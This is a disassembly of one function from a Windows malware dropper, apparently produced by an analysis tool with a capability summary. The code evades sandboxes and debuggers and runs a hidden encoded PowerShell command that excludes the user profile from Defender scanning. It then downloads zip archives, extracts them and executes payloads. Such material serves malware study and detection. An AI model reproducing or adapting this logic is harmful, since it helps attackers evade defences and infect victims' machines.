Function at 0x140002a90
Capabilities:
Check for debugger via api
Create http request
Create process on windows
Download and write a file
Get common file path
Get file size
Get memory capacity
Get system information on windows
Read data from internet
Read file via mapping
Receive and write data from server to client
Receive data
Resolve function by parsing pe exports
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2900]
mov eax, 0x2a00
call fcn.14001cf80
sub rsp, rax
mov rax, qword [0x140068328]
xor rax, rsp
mov qword [rbp + 0x28f0], rax
xor r13d, r13d
mov dword [rsp + 0x50], r13d
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
movdqa xmm1, xmmword [0x140060d60]
movdqu xmmword [rsp + 0x68], xmm1
mov byte [rsp + 0x58], r13b
mov r14d, 1
mov dword [rsp + 0x50], r14d
lea r8d, [r13 + 0x7c]
lea rdx, str.fwfeweffwefweoihfwehfwehfweojoireoijrgeojigeroijegrgerojigerjiogerjiogeroqpijrpoegirjwqergwopjwgerjgwrejopiwgerjopiwgerpojio
lea rcx, [rsp + 0x58]
call fcn.1400056c0
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140002b4f
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b4a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b71
call fcn.14001c720
mov r8d, 0x104
lea rdx, [rbp + 0x6e0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp + 0x6e0]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov r15, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
mov rbx, 0xffffffffffffffff
nop word [rax + rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x140002b90
movabs rsi, 0x7ffffffffffffffe
cmp rbx, rsi
ja 0x140003b77
movabs r12, 0x7fffffffffffffff
mov qword [rbp - 0x48], 7
cmp rbx, 8
jae 0x140002be6
mov qword [rbp - 0x50], rbx
add rbx, rbx
mov r8, rbx
mov rdx, r15
lea rcx, [rbp - 0x60]
call fcn.14001e6d0
mov word [rbp + rbx - 0x60], r13w
jmp 0x140002c80
mov rax, rbx
or rax, 7
cmp rax, rsi
jbe 0x140002bf8
lea rcx, [r12 + r12]
jmp 0x140002c20
mov rsi, rax
mov ecx, 0xa
cmp rax, rcx
cmovb rsi, rcx
lea rcx, [rsi + 1]
cmp rcx, r12
ja 0x140003b6b
add rcx, rcx
cmp rcx, 0x1000
jb 0x140002c4c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003b6b
mov rcx, rax
call fcn.14001c9c4
test rax, rax
je 0x140003b65
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002c5e
test rcx, rcx
je 0x140002c5b
call fcn.14001c9c4
mov rdi, rax
jmp 0x140002c5e
mov rdi, r13
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], rsi
add rbx, rbx
mov r8, rbx
mov rdx, r15
mov rcx, rdi
call fcn.14001e6d0
mov word [rdi + rbx], r13w
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 8
cmovae rdx, qword [rbp - 0x60]
mov rax, qword [rbp - 0x50]
lea r15, [rdx + rax*2]
lea rbx, [rbp - 0x60]
cmovae rbx, qword [rbp - 0x60]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov edi, 0xf
mov qword [rbp - 0x68], rdi
cmp rbx, r15
jne 0x140002cc4
mov r8, r13
mov byte [rbp - 0x80], r8b
jmp 0x140002db7
mov rax, r15
sub rax, rbx
sar rax, 1
mov rsi, r13
cmp rax, r12
ja 0x140003b7d
cmp rax, 0x10
jb 0x140002d70
mov rdi, rax
or rdi, 0xf
cmp rdi, r12
jbe 0x140002cf4
mov rdi, r12
jmp 0x140002d00
mov eax, 0x16
cmp rdi, rax
cmovb rdi, rax
mov rcx, rdi
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x140002d4a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003b83
mov rcx, rax
call fcn.14001c9c4
mov rcx, rax
test rax, rax
je 0x140003bdd
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140002d59
test rcx, rcx
je 0x140002d56
call fcn.14001c9c4
jmp 0x140002d59
mov rax, r13
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x68], rdi
nop dword [rax]
nop word [rax + rax]
lea rcx, [rbp - 0x80]
cmp rdi, 0x10
cmovae rcx, qword [rbp - 0x80]
movzx eax, byte [rbx]
mov byte [rcx + rsi], al
mov rsi, qword [rbp - 0x70]
inc rsi
mov qword [rbp - 0x70], rsi
add rbx, 2
cmp rbx, r15
je 0x140002d9d
mov rdi, qword [rbp - 0x68]
jmp 0x140002d70
lea rax, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rax, qword [rbp - 0x80]
mov byte [rsi + rax], 0
mov rdi, qword [rbp - 0x68]
mov r8, qword [rbp - 0x70]
lea rcx, [rbp - 0x80]
mov r12, qword [rbp - 0x80]
cmp rdi, 0x10
cmovae rcx, r12
cmp r8, 9
jne 0x140002de1
lea rdx, str.putty.exe
call fcn.14001e5d0
test eax, eax
je 0x140003011
lea rcx, [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rbp + 0x140], 2
jb 0x140003aba
mov dword [rbp + 0x150], 0x40
lea rcx, [rbp + 0x150]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rbp + 0x158]
shr rax, 0x14
cmp eax, 0x800
jb 0x140003aba
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 3]
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x38], r13
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 0x18
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x70000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov ecx, dword [rsp + 0x6c]
mov eax, dword [rsp + 0x68]
imul rcx, rax
mov eax, dword [rsp + 0x64]
imul rax, rcx
imul rax, qword [rsp + 0x58]
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
cmp eax, 0x3a
jb 0x140003aba
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, r14d
mov edx, 0x80000000
lea rcx, str.C:WindowsSystem32_ntdll.dll
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor edx, edx
mov r8d, 0x1000002
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r15, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movsxd rax, dword [r15 + 0x3c]
mov ecx, dword [rax + r15 + 0x88]
add rcx, r15
mov eax, dword [rcx + 0x1c]
add rax, r15
mov qword [rsp + 0x40], rax
mov esi, dword [rcx + 0x20]
add rsi, r15
mov eax, dword [rcx + 0x24]
add rax, r15
mov qword [rsp + 0x48], rax
mov r12, r13
mov ebx, r13d
mov r13d, dword [rcx + 0x18]
test r13d, r13d
je 0x140002faa
nop
mov ecx, dword [rsi]
add rcx, r15
lea rdx, str.NtCreateThreadEx
call fcn.14004ed20
test eax, eax
je 0x140002f92
inc ebx
add rsi, 4
cmp ebx, r13d
jb 0x140002f70
jmp 0x140002faa
movsxd rax, ebx
mov rcx, qword [rsp + 0x48]
movzx ecx, word [rcx + rax*2]
mov rax, qword [rsp + 0x40]
mov r12d, dword [rax + rcx*4]
add r12, r15
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtCreateThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
mov rax, qword [rax]
xor r13d, r13d
cmp rax, qword [r12]
jne 0x140003ab6
mov rax, qword [rcx + 8]
cmp rax, qword [r12 + 8]
jne 0x140003ab6
mov dword [rsp + 0x50], r13d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
mov r12, qword [rbp - 0x80]
cmp dword [rsp + 0x50], r13d
jne 0x140003aba
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd0], xmm1
mov r8d, 0x34
lea rdx, str.KTcySD9xbmwnSzxyd20oXThkNSYrSGMMLi8pTickBTEpWmIxKDM
lea rcx, [rbp + 0xc0]
call fcn.140006340
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x70], xmm1
mov r8d, 6
lea rdx, str.ACF8LK
lea rcx, [rbp + 0x60]
call fcn.140006340
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
mov r8d, 0x1e
lea rdx, str.__GolovkoDrob__GolovkoDrob.exe
lea rcx, [rbp - 0x40]
call fcn.140006340
nop
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], r13
mov r8d, 5
lea rdx, str.Golov
lea rcx, [rbp]
call fcn.140006340
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x110], xmm1
mov r8d, 5
lea rdx, str.Golov
lea rcx, [rbp + 0x100]
call fcn.140006340
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
mov r8d, 7
lea rdx, str.pro.exe
lea rcx, [rbp + 0xe0]
call fcn.140006340
nop
lea rcx, str.powershell__WindowStyle_hidden__inputformat_none__outputformat_none__NonInteractive__ExecutionPolicy_Bypass__enc_QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACgAWwBTAHkAcwB0AGUAbQAuAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgBHAGUAdABFAG4AdgBpAHIAbwBuAG0AZQBuAHQAVgBhAHIAaQBhAGIAbABlACgAJwBVAFMARQBSAFAAUgBPAEYASQBMAEUAJwApACAAKwAgACcAJwApAA
call fcn.140023570
xor ecx, ecx
call fcn.1400241d8
mov rcx, rax
call fcn.140022e54
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0xa0]
call fcn.1400025a0
nop
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x40]
call fcn.1400024c0
nop
lea rsi, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae rsi, qword [rbp + 0x40]
lea rdx, [rbp]
lea rcx, [rbp + 0x80]
call fcn.1400025a0
nop
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x20]
call fcn.1400024c0
nop
lea rax, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rax, qword [rbp + 0x20]
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0x190]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
mov r13, qword [rbp]
test eax, eax
jne 0x1400031e6
call fcn.140005f30
mov rbx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rbx
mov dl, 0xa
call fcn.140005da0
movzx edx, al
mov rcx, rbx
call fcn.1400068e0
mov rcx, rbx
call fcn.140005980
jmp 0x1400036d6
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
mov r8, r14
lea rdx, [0x140060ce8]
lea rcx, [rbp - 0x20]
call fcn.140006340
nop
lea rcx, [rsp + 0x58]
call fcn.140002260
nop
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x140003221
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp - 0x20]
call fcn.1400056c0
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x14000326c
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003267
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b89
call fcn.14001c720
mov r8d, 4
lea rdx, str..zip
lea rcx, [rbp - 0x20]
call fcn.1400056c0
lea rbx, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rbx, qword [rbp - 0x20]
lea r8, [rbp + 0x190]
mov edx, 0x104
lea rcx, [rbp + 0x2a0]
call fcn.140023ab8
mov r8, rbx
mov edx, 0x104
lea rcx, [rbp + 0x2a0]
call fcn.1400243d8
lea rbx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rbx, qword [rbp - 0x40]
lea r8, [rbp + 0x190]
mov edx, 0x104
lea rcx, [rbp + 0x4c0]
call fcn.140023ab8
mov r8, rbx
mov edx, 0x104
lea rcx, [rbp + 0x4c0]
call fcn.1400243d8
xor ebx, ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov edx, r14d
lea rcx, str.UserAgent
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r15, rax
test rax, rax
je 0x14000368a
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
jne 0x140003353
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x14000368a
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
mov rcx, rbx
cmp rax, 0xffffffffffffffff
jne 0x1400033a4
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x14000368a
mov dword [rsp + 0x54], 0
lea r9, [rsp + 0x54]
mov r8d, 0x1000
lea rdx, [rbp + 0x8f0]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140003419
nop dword [rax + rax]
mov r8d, dword [rsp + 0x54]
test r8d, r8d
je 0x140003419
xor eax, eax
mov dword [rsp + 0x50], eax
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea rdx, [rbp + 0x8f0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x54]
mov r8d, 0x1000
lea rdx, [rbp + 0x8f0]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400033d0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x2a0]
call fcn.140001e00
mov dword [rsp + 0x28], r14d
xor esi, esi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [rbp + 0x4c0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rcx, r13
mov r8, qword [rbp + 0x10]
test r8, r8
jne 0x140003496
lea rdx, [0x140060910]
call fcn.14001e5d0
test eax, eax
je 0x140003aae
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
mov r8, r14
lea rdx, [0x140060ce8]
lea rcx, [rsp + 0x58]
call fcn.140006340
nop
lea rcx, [rbp + 0x120]
call fcn.140002260
nop
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x1400034d6
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0x58]
call fcn.1400056c0
nop
mov rdx, qword [rbp + 0x138]
cmp rdx, 0x10
jb 0x140003526
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003521
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b8f
call fcn.14001c720
mov r8d, 4
lea rdx, str..zip
lea rcx, [rsp + 0x58]
call fcn.1400056c0
lea rbx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rbx, qword [rsp + 0x58]
lea r8, [rbp + 0x190]
mov edx, 0x104
lea rcx, [rbp + 0x3b0]
call fcn.140023ab8
mov r8, rbx
mov edx, 0x104
lea rcx, [rbp + 0x3b0]
call fcn.1400243d8
lea rbx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0x10
cmovae rbx, qword [rbp - 0x40]
lea r8, [rbp + 0x190]
mov edx, 0x104
lea rcx, [rbp + 0x5d0]
call fcn.140023ab8
mov r8, rbx
mov edx, 0x104
lea rcx, [rbp + 0x5d0]
call fcn.1400243d8
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
mov edx, r14d
lea rcx, str.UserAgent
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r15, rax
test rax, rax
je 0x14000364c
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x140003642
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rbp + 0x3b0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
mov rcx, rbx
cmp rax, 0xffffffffffffffff
jne 0x1400039b0
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x14000368a
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003684
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b95
call fcn.14001c720
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x1400036c5
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400036c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b9b
call fcn.14001c720
movdqa xmm0, xmmword [0x140060d60]
movdqu xmmword [rbp - 0x10], xmm0
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x140003711
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000370c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003ba1
call fcn.14001c720
movdqa xmm0, xmmword [0x140060d60]
movdqu xmmword [rbp + 0x30], xmm0
mov byte [rbp + 0x20], 0
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x140003763
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000375e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003ba7
call fcn.14001c720
movdqa xmm0, xmmword [0x140060d60]
movdqu xmmword [rbp + 0x90], xmm0
mov byte [rbp + 0x80], 0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x1400037b5
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400037b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bad
call fcn.14001c720
movdqa xmm0, xmmword [0x140060d60]
movdqu xmmword [rbp + 0x50], xmm0
mov byte [rbp + 0x40], 0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x140003807
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003802
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bb3
call fcn.14001c720
movdqa xmm0, xmmword [0x140060d60]
movdqu xmmword [rbp + 0xb0], xmm0
mov byte [rbp + 0xa0], 0
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
jb 0x140003860
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000385a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bb9
call fcn.14001c720
nop
mov rdx, qword [rbp + 0x118]
cmp rdx, 0x10
jb 0x1400038a2
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000389c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bbf
call fcn.14001c720
nop
mov rax, qword [rbp + 0x18]
cmp rax, 0x10
jb 0x1400038de
lea rdx, [rax + 1]
mov rax, r13
cmp rdx, 0x1000
jb 0x1400038d5
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bc5
mov rcx, r13
call fcn.14001c720
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x140003919
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003914
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bcb
call fcn.14001c720
movdqa xmm0, xmmword [0x140060d60]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x140003966
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003960
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bd1
call fcn.14001c720
nop
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x140003abd
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400039a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bd7
call fcn.14001c720
jmp 0x140003abd
mov dword [rsp + 0x50], 0
lea r9, [rsp + 0x50]
mov r8d, 0x1000
lea rdx, [rbp + 0x18f0]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140003a1d
mov r8d, dword [rsp + 0x50]
test r8d, r8d
je 0x140003a1d
xor eax, eax
mov dword [rsp + 0x78], eax
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x78]
lea rdx, [rbp + 0x18f0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x50]
mov r8d, 0x1000
lea rdx, [rbp + 0x18f0]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400039d4
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x3b0]
call fcn.140001e00
mov dword [rsp + 0x28], r14d
xor esi, esi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [rbp + 0x5d0]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140003aae
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003aa9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b95
call fcn.14001c720
mov r14d, esi
jmp 0x14000368a
mov r12, qword [rbp - 0x80]
mov r14d, r13d
cmp rdi, 0x10
jb 0x140003af6
lea rdx, [rdi + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x140003aed
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bdd
mov rcx, r12
call fcn.14001c720
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 8
jb 0x140003b32
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003b2d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b65
call fcn.14001c720
mov eax, r14d
mov rcx, qword [rbp + 0x28f0]
xor rcx, rsp
call fcn.14001c700
lea r11, [rsp + 0x2a00]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400251e8
int3
call fcn.140001270
int3
call fcn.1400251e8
int3
call fcn.140001310
nop
call fcn.140001310
nop
call fcn.140001270
nop
call fcn.1400251e8
nop
call fcn.1400251e8
nop
call fcn.1400251e8
nop
call fcn.1400251e8
nop
call fcn.1400251e8
nop
call fcn.1400251e8
nop
call fcn.1400251e8
nop
call fcn.1400251e8
nop
call fcn.1400251e8
nop
call fcn.1400251e8
nop
call fcn.1400251e8
nop
call fcn.1400251e8
nop
call fcn.1400251e8
nop
call fcn.1400251e8
nop
call fcn.1400251e8
int3